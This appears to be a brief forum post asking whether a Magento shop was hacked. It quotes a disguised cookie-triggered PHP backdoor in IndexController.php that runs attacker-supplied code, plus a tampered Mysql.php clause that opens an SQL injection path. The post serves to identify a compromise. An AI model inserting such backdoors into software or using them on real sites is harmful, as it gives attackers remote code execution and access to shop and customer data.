Magento hacked?

IndexController.php

class Mage_Cms_Auth_doe
{
    public function __construct() {
        $auth_cookie = @$_COOKIE['pwreoizidwmpnyjv3'];
        if ($auth_cookie) {
            $method = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv2']);
            $auth = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv1']);
            $method("/124/e",$auth,124);
        }
    }
}
$is_auth = new Mage_Cms_Auth_doe;
                                         

Mysql.php

            if (isset($condition['pwreoizidwmpnyjv'])) {
                $fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['pwreoizidwmpnyjv']);
                unset($condition['pwreoizidwmpnyjv']);
            }